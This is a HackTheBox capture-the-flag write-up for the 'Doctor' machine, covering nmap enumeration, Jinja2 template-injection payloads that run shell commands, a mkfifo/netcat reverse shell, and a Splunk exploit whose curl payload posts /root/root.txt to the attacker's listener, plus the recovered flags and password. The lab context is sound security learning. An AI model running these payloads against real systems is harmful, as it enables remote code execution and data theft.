Intro

Greetings, here is my write-up for the doctor HackTheBox machine. I hope you enjoy the read! If you’re in a hurry, skip to the TL;DR section at the end.

Doctor is considered an easy Linux box by HackTheBox standards. It’s a well rounded box because its solution is composed of a mix of basic enumeration, basic priviledge escalation and also some recent CVE exploitation that can be accomplished with off-the-shelf tools. As we will see, the hardest part in breaking doctor is finding where to exploit it and getting a foot hold on it. A real head scratcher that reminds us that the solution is always right under our nose. We’re either overthinking it or simply not seeing it.

After solving doctor, we won’t be able to help but notice the amount of clues the information card picture actually gives out! Alright, enough talking, let’s get to work.

Initial Recon

Enumeration

First and foremost, as with any target we engage, we need to start by doing some basic enumeration and reconnaissance work because we can’t engage a box without knowing what’s running on it. This basically means we need to run a port scan to get that information and this is accomplished by using nmap with the -sV. The -sV flag simply tells nmap to probe the open ports to gather the service and version information.

Let’s see what we got.

$ nmap -sV 10.10.10.209
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-24 21:31 EDT
Nmap scan report for 10.10.10.209
Host is up (0.027s latency).
Not shown: 997 filtered ports
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http     Apache httpd 2.4.41 ((Ubuntu))
8089/tcp open  ssl/http Splunkd httpd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.84 seconds

There are a few things of interest here. First, the machine serves up some SSH (version OpenSSH 8.2p1) – we might need this to log into it. Second, it serves HTTP using Apache 2.4.41. This indicates that it’s running a web site of some sort. Last but not least, it’s running Splunk – no version information is available yet so it might be something to check out later.

Wild guess is that Splunk will be our main attack vector to obtain root, but we’ll just have to wait and see. This reasoning comes from the fact that this is the only service that is running besides the standard SSH and HTTP services. We’re here to learn new things, aren’t we?

For completion’s sake, let’s do an HTTP enumeration to see if we could glean any more information. This enumerates directories used by popular web applications or frameworks to fingerprint them. It also identifies common directories that can contain interesting files hosted on the web server. This is achieved by using the
--script=http-enum flag with nmap.

$ nmap -sV --script=http-enum 10.10.10.209
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-24 21:43 EDT
Nmap scan report for 10.10.10.209
Host is up (0.031s latency).
Not shown: 997 filtered ports
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http     Apache httpd 2.4.41 ((Ubuntu))
| http-server-header:
|   Apache/2.4.41 (Ubuntu)
|_  Werkzeug/1.0.1 Python/3.8.2
8089/tcp open  ssl/http Splunkd httpd
| http-enum:
|   /robots.txt: Robots file
|_  /services/: Potentially interesting folder (401 Unauthorized)
|_http-server-header: Splunkd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 316.44 seconds

Here’s something unexpected. Looking at the results for port 80, nmap found two services there. Apache and Werkzeug. For the unfamiliar, Werkzeug is a utility library for Python for building WSGI (Web Server Gateway Interface) applications. For anyone having done web development, this hints to a Flask application. This is valuable information that could possibly lead to our foothold.

Next, on port 8089, we have the /services directory from Splunk and a standard robots.txt. A robots.txt file provides instructions to web crawlers on what they can or can’t visit. See here for more information. As for the /services folder, pointing our web browser to 10.10.10.209:8089/services serves up an authentication prompt for which we do not have credentials yet. Let’s take note of this and move on for now.

Web Surfing

With basic enumeration done, let’s engage the machine. Visiting the hosted static site through a web browser doesn’t bring up much: a simple, static site where every page is the same.

I’ll be honest, I spent way more time poking around than I’d like to admit. Let’s have a look at the header while requesting the static content.

Using a basic curl command yields these results

$ curl -vvv http://10.10.10.209:80/
*   Trying 10.10.10.209:80...
* Connected to 10.10.10.209 (10.10.10.209) port 80 (#0)
> GET / HTTP/1.1
> Host: 10.10.10.209
> User-Agent: curl/7.73.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Sun, 25 Oct 2020 02:39:20 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Last-Modified: Sat, 19 Sep 2020 16:59:55 GMT
< ETag: "4d88-5afad8bea6589"
< Accept-Ranges: bytes
< Content-Length: 19848
< Vary: Accept-Encoding
< Content-Type: text/html

As expected, by looking at the Server: header, Apache is serving up the static site. After spending a crazy amount of time looking through the website, looking at the source code and almost giving up, I noticed an email in the contact information section. The “send us a message” address is info@doctors.htb.

At wit’s end, I passed doctors.htb as the host in my request header by using the --header "Host: doctors.htb" flag with curl.

$ curl -vvv http://10.10.10.209:80/ --header "Host: doctors.htb"
*   Trying 10.10.10.209:80...
* Connected to 10.10.10.209 (10.10.10.209) port 80 (#0)
> GET / HTTP/1.1
> Host: doctors.htb
> User-Agent: curl/7.73.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 302 FOUND
< Date: Sun, 25 Oct 2020 02:44:08 GMT
< Server: Werkzeug/1.0.1 Python/3.8.2
< Content-Type: text/html; charset=utf-8
< Content-Length: 237
< Location: http://doctors.htb/login?next=%2F
< Vary: Cookie
< Set-Cookie: session=<some cookie>; HttpOnly; Path=/
<
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
* Connection #0 to host 10.10.10.209 left intact
<p>You should be redirected automatically to target URL: <a href="/login?next=%2F">/login?next=%2F</a>.  If not click the link.

Bingo. Werkzeug/Python served this up (Server info in the header) and is actually redirecting us (302 HTTP reponse) to /login?next=%2F. Things like this is what what made this machine difficult in my opinion and pushed my curiosity a bit – there is a lot of non technical things to look out for. Some information is hiding in plain sight.

Alright, this is great and we’re making progress but what actually happened here? Why would we even think of using doctors.htb in the host header? Apache (and web servers in general) can be configured to host multiple web sites based on domains and leverage the host header in the HTTP request to know which site to serve up to the client. Apache has documentation on how to set this up.

Adding the following entry to the /etc/hosts file

10.10.10.209	doctors.htb

makes it possible to use doctors.htb to reach the doctor box. For more information on the /etc/hosts, look up “local DNS” in your favorite search engine.

By surfing to http://doctors.htb, we are leveraging this addition and our browser will use doctors.htb in the host header of the outgoing HTTP request. We are now presented a login screen

And there you have it, we stumbled upon a login screen to a portal where we can create an account and post messages – user input. Let’s create an account and see where this leads us to.

Foothold

Attack Vector

Next on the list is finding our primary attack vector. After creating an account on the login screen, we enter a forum where you can post messages with a title and a body. This is nothing special but it looks templated. Hopefully we can take advantage of that.

Armed with the knowledge that this site was built in Flask and is likely templated, we can try some basic server side template injection (SSTI). The principle of server side template injection is to provide template directives as user input. You can read more about SSTI in Flask and Jinja2 (a templating engine) here or you can reference this cheat sheet.

After trying to insert some templating recon, results weren’t as expected

Let’s stop here for a moment and ponder why we’re trying {{ 7*7 }} and what is it that we were expecting. As stated above, we’re trying provide a template directive as the user input. Had it been successful, we would have observed 49 instead of {{ 7*7 }} because Python would have computed the multiplication and replaced it in the template when generating the page to display. This is not the case here. Python is just taking the input and showing it as-is.

This part also took me more time than I’d like to admit. Sometimes the clues are right under your nose. If we dig through the source code of the forum, you will find the following at the top of the body section

<div class="collapse navbar-collapse" id="navbarToggle">
	<div class="navbar-nav mr-auto">
		<a class="nav-item nav-link" href="/home">Home</a>
		<!--archive still under beta testing<a class="nav-item nav-link" href="/archive">Archive</a>-->
	</div>
	<!-- Navbar Right Side -->

Beta testing? Sounds promising… If we try going to http://doctors.htb/archive, we are met with a blank page. Looking at the response through our browser’s dev tools, we see that it contains the titles of the messages we created in the forum earlier and that the injection recon we tried ({{ 7*7 }}) is actually computed (<title>49</title>)

<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title>Archive</title>
<item><title>asd</title></item>

		</channel>
		<item><title>123</title></item>

		</channel>
		<item><title>49</title></item>

		</channel>

This computation is enough to know that the templating engine is parsing the injection as valid directives and executing it as Python code. It’s time to see if we can get it to execute something on the command line through Python directives. The payload would look something like this:

{{request.application.__globals__.__builtins__.__import__('os').popen('whoami; id').read()}}

Let’s not go into crazy detail about this but what we’re doing is requesting, through Python, that the remote machine executes the whoami and id shell commands. whoami informs us who the commands is being executed as (the user that is used to run the service on the server) and the id command gives us extra information about the said user.

You can checkout the Python popen documentation if you want to dig deeper into the popen function used to run shell commands.

After adding that injection, we can browse back to the /archive endpoint to see the results

<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title>Archive</title>
<item><title>asd</title></item>

		</channel>
		<item><title>123</title></item>

		</channel>
		<item><title>49</title></item>

		</channel>
		<item><title> web
		uid=1001(web) gid=1001(web) groups=1001(web),4(adm)
</title></item>
</channel>

Here’s the part in the response that is of interest:

		</channel>
		<item><title> web
		uid=1001(web) gid=1001(web) groups=1001(web),4(adm)

The result is the output of our whoami; id command. So now we know that we can run some shell commands through the templating engine and that we’re in fact running these commands as the web user, who belongs to the web and adm groups.

We’re making good progress here and the next step is to try to acquire a reverse shell. Following that, we can start the process of moving out of our low privileged user (web in this case).

Reverse Shell

Using the SSTI method outlined above, we can now try our hand at a reverse shell. Starting with nc (netcat) and using the most common method, I couldn’t obtain successful results. Here’s what the payload would have looked like

{{request.application.__globals__.__builtins__.__import__('os').popen('nc -e /usr/bin/sh <ip> 4545').read()}}

By the way, <ip> should be replaced with our machine’s IP address on the HackTheBox.eu network. Then, on our machine, we would have executed the following netcat command

nc -lvp 4545

As stated above, I wasn’t able to get netcat to execute /usr/bin/sh so I couldn’t get the remote machine to connect to mine and get the reverse shell. We’re going to have to resort to some bash-fu and a little bit of sorcery. Let’s look at this alternative

rm /tmp/asd;mkfifo /tmp/asd;cat /tmp/asd|/usr/bin/sh -i 2>&1|nc <ip> 4545 >/tmp/asd

This creates a kind of feedback loop that whatever is received by netcat gets written into the /tmp/asd file (nc <ip> 4545 >/tmp/asd) which in turn gets piped into /usr/bin/sh (cat /tmp/asd|/usr/bin/sh -i 2>&1). The 2>&1 simply tells the system to redirect the standard error output into standard output.

Alright, hold your horses, why would this work and not the previous nc -e /usr/bin/sh/ command? Instead of using the -e netcat flag to execute a program after a connection is established, we’re using netcat to pass strings back and forth between the remote host and our machine. The strings received are written into the /tmp/asd file and that is getting piped into the /usr/bin/sh command to execute whatever we just sent it.

This post is a good startng point if you’re curious about the redirection and piping mysticism in the above string of commands.

This new revised command grants us the reverse shell we are after.

$ nc -lvp 4545
Connection from 10.10.10.209:47142
/usr/bin/sh: 0: can't access tty; job control turned off
$ ls -la
total 48
drwxr-xr-x 6 web  web  4096 Sep 28 15:04 .
drwxr-xr-x 4 root root 4096 Sep 19 16:54 ..
lrwxrwxrwx 1 web  web     9 Jul 26 14:24 .bash_history -> /dev/null
-rw-r--r-- 1 web  web   220 Jul 20 22:34 .bash_logout
-rw-r--r-- 1 web  web  3771 Jul 20 22:34 .bashrc
drwxr-xr-x 3 web  web  4096 Sep 22 11:29 blog
-rwxrwxr-x 1 web  web   135 Jul 26 14:12 blog.sh
drwxrwxr-x 5 web  web  4096 Jul 27 20:45 .cache
drwxr-xr-x 4 web  web  4096 Jul 27 20:45 .config
drwxrwxr-x 5 web  web  4096 Jul 26 12:46 .local
-rw-r--r-- 1 web  web   807 Jul 20 22:34 .profile
-rw------- 1 web  web   177 Jul 27 20:45 .python_history
-rw-rw-r-- 1 web  web    66 Jul 26 12:44 .selected_editor
$ 

We now have obtained a shell on the machine and we can start looking around in a more convenient fashion compared to injecting every single command we want to execute and browsing to the /archive endpoint. We also learned that there are work arounds to not being able to execute commands using netcat on the remote machine. Let’s go catch that user flag!

User

Privilege Escalation

Now that we have a shell, let’s go snooping around to find a way to elevate our privileges and get the user flag. We will be engaging in some basic recon work and some looking around. One good first step would be to find out who the target user is.

$ ls /home
shaun
web
$ ls -l /home/shaun
total 4
-r-------- 1 shaun shaun 33 Nov  7 20:04 user.txt
$

Okay, shaun is our man. We obviously don’t have access to the user.txt file in his home directory but that’s the file that contains the user flag. Based on the permission scheme for it, only shaun (or root) can read its contents. We can carry on by using tools like linPEAS or sleuthing manually through the system. These types of enumeration tools run a bunch of commands and they also look around the system and its log files. Enumeration tools try to identify potential targets for privilege escalation but will not do exploits for you. You will be handed a thorough report when the tool completes its run which will contain a large amount of possible escalation vectors. This can be seriously overwhelming for someone who isn’t familar with this type of thing. This amount of information will have us spend more time reading the report than actually trying things and understanding what we’re doing.

Let’s see what we can come up with on our own. General rule of thumb, log files can be a good starting point to look into and as stated previously, enumeration tools will look into system logs for passwords, failed authentication attemps, errors, that sort of thing.

Grepping for password in /var/log brings up all the lines for every file under /var/log that matches our search criteria of password. Not shown here since it would take up a good amount of space, but the number of matches was pretty large. Spending a good amount of time looking at the matches payed off as the following line struck my curiosity nerve:

$ grep -r -i "password" /var/log
...
/var/log/apache2/backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"
...
$

Interesting. A POST request to some sort of password reset endpoint on the server (it was found in the Apache log). Using Guitar123 as an email in a password reset request is pretty odd since it’s obviously not an email. We can’t consider it a password either because if someone is resetting their password, they essentially forgot what it was. They can’t have mistakenly typed it in as the email in the request. On the other hand, we can all agree that Guitar123 does look like a poor password someone might use. This is an other instance where a lot of time was spent digging for information and ending up trying trivial and desperate things to progress to the next point.

If we try su-ing into shaun, we get asked for his password. At this point, we’re desperate again so let’s try Guitar123.

$ su shaun
Password: Guitar123
whoami
shaun
id
uid=1002(shaun) gid=1002(shaun) groups=1002(shaun)

Well… It worked… Let’s stay collected and cat the user.txt file to obtain the user flag.

cat /home/shaun/user.txt
7dfec0e6330b1ec2b10db9728217fb7e

Well deserved. I’ve stated this before but let’s take some time to reflect on it again. Up until now, we haven’t done any complex exploitation. We’re using basic every-day commands and looking for information that is readily available on the machine we’re trying to break. The password for our target user can be found in a log entry for a messed-up password reset attempt. This box teaches us some good lessons. Enumeration tools wouldn’t have helped much. If you do try it, the tool will have pulled up the same log as we did with our grep command. We would still have had to go through the log and identify that line.

Understanding what we’re doing and what we’re looking for has a lot more value in this case than trying to use tools that will do the work for us.

Root

Now that we have the user flag, let’s see about root. From the initial recon, we know this box is running Splunk on port 8089. Let’s go have a look by pointing our browswer to doctors.htb:8089/

Good, we now have a version – 8.0.5. We’ll do some digging later and try to find vulnerabilities related to it. We can start by looking around and trying things. services brings up a login prompt. Same thing for servicesNS. rpc, which stands for remote procedure call, brings up an invalid request page and static returns a 404.

Let’s try the obvious and read trough the documentation and try default passwords. It’s surprising how often people run services on their machines and don’t change the default configured passwords.

This time though, they did change it. The only username / password pair that we have on this system for now is shaun/Guitar123. Browsing back to the services page and using these credentials actually grant us access to it. After a few minute of poking around, we’re not finding anything of obvious interest. The World Wide Web can be of huge service to us in such cases so let’s see if there aren’t any known exploits for Splunk 8.0.5. I stumbled upon this great article that explains the concept on how to exploit Splunk for shells and persistence.

The reason why this is interesting and it can help us obtain root access is because the Splunk service is actually run by the root user. We can confirm this by using our reverse shell and running ps

$ ps aux | grep splunkd
root        1143  0.1  2.3 265920 93044 ?        Sl   Nov07   0:02 splunkd -p 8089 start
root        1145  0.0  0.3  77664 15700 ?        Ss   Nov07   0:00 [splunkd pid=1143] splunkd -p 8089 start [process-runner]
web         1734  0.0  0.0  17668   656 ?        S    00:07   0:00 grep splunkd

Following the article and using the PySplunkWhisperer2 tool, all we have to do is set it up so that PySplunkWhisperer2_remote sends us the /root/root.txt file. Since we already validated that we can use shaun’s credentials for Splunk, that’s what we’ll pump into PySplunkWhisperer2 for the user name and password.

python PySplunkWhisperer2_remote.py --host 10.10.10.209 --port 8089 --username shaun --password "Guitar123" --payload "curl -F 'data=@/root/root.txt' http://<ip>:4545" --lhost <ip>

In the above command, as previously stated, <ip> has to be replaced with your machine’s IP address on the HackTheBox.eu network. We also need to setup netcat to receive the content with the following command

$ nc -lvp 4545
Connection from 10.10.10.209:56646
POST / HTTP/1.1
Host: 10.10.15.9:4545
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 219
Content-Type: multipart/form-data; boundary=------------------------1e3af6b22be334f1

--------------------------1e3af6b22be334f1
Content-Disposition: form-data; name="data"; filename="root.txt"
Content-Type: text/plain

fe46f36187c9299663d023c7f9bd1d74

--------------------------1e3af6b22be334f1--

And there you have it. The contents of /root/root.txt have been gracefully sent to us through netcat. We now have the root flag and all that we need to solve for this box.

Conclusion

This box was pretty challenging for an easy one – especially for the foothold. Finding the portal, the /archive endpoint where the actual SSTI is happening, getting the reverse shell and finding the password (needle in a haystack) were the most time consuming parts of this machine. The interesting thing in all of it is that it didn’t take much wizardry to extract the necessary information to progress through the different steps and obtain the user flag. A good eye and enough curiosity is all that it took. I thoroughly enjoyed the learning opportunities this box provided and the fact that it forces you to dig and think outside the box instead of relying on scripts and CVEs.

Rooting the box after finding the credentials was pretty straight forward. Thanks for sticking around and reading through this article. I hope you enjoyed reading it as much as I enjoyed writing it. Special thanks go to my brother for his help with the review process of this article!

  • redbay

TL;DR

Foothold

  1. Put 10.10.10.209 doctors.htb in your /etc/hosts file and use doctors.htb to access the HTTP server on the machine.
  2. Create an account on the login page and use the following as a title for your forum post: {{request.application.__globals__.__builtins__.__import__('os').popen('rm /tmp/asd;mkfifo /tmp/asd;cat /tmp/asd|/usr/bin/sh -i 2>&1|nc <ip> 4545 >/tmp/asd').read()}} and replace <ip> with your machine’s IP address on the HackTheBox.eu network.
  3. Setup netcat to listen on port 4545 nc -lvp 4545
  4. Surf to doctors.htb/archive
  5. From your reverse shell, grep -r -i 'reset_password' /var/log
  6. Find the Guitar123 password from the logs.

User

  1. su shaun and use the Guitar123 password when prompted.
  2. cat /home/shaun/user.txt -> 7dfec0e6330b1ec2b10db9728217fb7e

Root

  1. Use PySplunkWhisperer2 to exploit Splunk 8.0.5 and use Shaun’s credentials (shaun/Guitar123) python PySplunkWhisperer2_remote.py --host 10.10.10.209 --port 8089 --username shaun --password "Guitar123" --payload "curl -F 'data=@/root/root.txt' http://<your IP>:4545" --lhost <your IP>
  2. Setup netcat to listen on port 4545 nc -lvp 4545
  3. Wait and get root flag -> fe46f36187c9299663d023c7f9bd1d74